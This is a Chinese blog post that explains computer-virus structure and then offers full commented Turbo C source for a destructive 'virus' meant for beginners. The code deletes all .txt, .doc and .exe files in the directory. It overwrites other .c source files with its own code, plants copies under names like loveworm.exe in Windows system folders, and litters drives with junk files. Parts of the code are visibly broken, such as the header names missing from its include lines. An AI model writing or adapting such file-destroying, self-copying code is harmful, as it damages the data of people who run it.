hello world!

怎样用C语言编写病毒

在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.

[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.

一、什么是病毒

恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.

我们要对付病毒,就要了解病毒.

写一些病毒是一个很好的办法.

如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:

“⋯⋯一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“

其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。

要编制一个病毒,首先要知道病毒的运行机理。

不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。

在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本

原因。我们可以用一段类C伪码来表示这个过程。

InfectSection()

{

if (infectable_object_found

&&object_not_already_infect)

infect_object;

}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.

一个简单的触发机制可能是这样工作的:

TriggerSection()

{

if (date_is_Friday_13th_and_time_is_03:13:13)

set_trigger_status_to_yes;

}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:

Executesection()

{

if (trigger_statue_is_yes)

execute_payload;

}

二、 编制病毒的语言

最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:

1).Win32编程,进程,线程,内存,等等。

  2).32位汇编,以指令用法为主。386汇编就比较够用了。

  3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。

  4).调试技术。VC,TD32,SoftIce,等等。

要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C

以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.

三 用C编制病毒

以TurboC2.0为例.它的库函数可以实现很多功能.

如以下两个函数:

1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。

2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件

C语言开发病毒程序实例

C语言开发的病毒程序源代码加了很详细的注释,严谨的来说,算不上真正意义上的病毒,但是可以给初学C的新手参考,程序实现了几点病毒的功能。

C语言编写的病毒程序源代码 - 给C语言初学者:

复制内容到剪贴板

代码:

C语言开发病毒程序

//连接头文件

#include

#include

#include

#include

#include

//拷贝文件模块

int copyfile (char *infile, char *outfile)

{

FILE *in,*out; //定义文件指针

in = fopen(infile,"r"); //打开文件

out = fopen(outfile,"w"); //建立文件

while (!feof(in)) //判断文件是否已结束

{

fputc (fgetc(in),out); //从in读一字符到out

}

fclose (in); //关闭in文件

fclose (out);//关闭out文件

return 0; //返回

}

int MakeRubbish (void)

{

int i; //声明整形变量i

FILE *fp; //文件指针fp

char *path; //路径指针

char *NewName;

char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组

char *addtion = ":\\";

for (i = 0; i<5; i++) //循环4次

{

char tempname[] = "XXXXXX" ; //随机名字

NewName = mktemp(tempname); //建立唯一的文件名

fp = fopen(NewName,"w"); //创建文本文件

fclose (fp); //关闭fp文件流

}

path = strcat(disk[getdisk()],addtion); //得到根编号

chdir(path); //改变工作目录

for (i = 0; i<5; i++) //循环次数

{

char tempname[] = "XXXXXX"; //串赋入数组

NewName = mktemp(tempname); //建立唯一的文件名

fp = fopen(NewName,"w"); //创建新文件

fclose (fp); //关闭文件

}

return 0; //返回

}

int CreatEXE (void)

{

int i; //整形变量

char *path; //字符指针

char *s[2] = { //重要目录

"C:\\WINDOWS\\system32\\loveworm.exe",

"C:\\WINDOWS\\virusssss.com"

};

for ( i = 0; i < 2; i++) //循环控制次数

{

open(s, 0x0100,0x0080); //打开文件写入数据

copyfile ( "C_KILLER.C",s); //调用子函数实现拷贝文件数据

}

return 0;

}

int Remove (void) //去处

{

int done; //定义整形变量

int i;

struct ffblk ffblk; //声明结构体变量ffblk

char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组

for (i = 0; i < 3; i++)//控制循环次数

{

done = findfirst(documenttype,&ffblk,2);//搜索目录

while (!done) //查找成功返回0

{

remove (ffblk.ff_name); //删除一个文件

done = findnext(&ffblk);

}

}

return 0;//返回

}

int Breed (void) //养殖模块

{

int done;//整形变量

struct ffblk ffblk; //声名结构变量

done = findfirst("*.c",&ffblk,2);

while (!done)

{

if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

{

copyfile("C_KILLER.C",ffblk.ff_name);

}

done = findnext(&ffblk);

}

return 0;

}

int main (void) //程序入口地址

{

printf ("液虫病毒,by:仙剑逍遥.\n");

Breed (); //养殖病毒

Remove (); //去处

CreatEXE ();

printf ("您能告诉我您的名字?\n");

printf ("现在麻烦您输入您的名字!\n");

MakeRubbish (); //调用子函数

getchar ();

clrscr (); //清除屏幕

system ("cmd");

getch ();

return 0;

}

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,921评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,635评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,393评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,836评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,833评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,685评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,043评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,694评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,671评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,670评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,779评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,424评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,027评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,984评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,214评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,108评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,517评论 2 343

推荐阅读更多精彩内容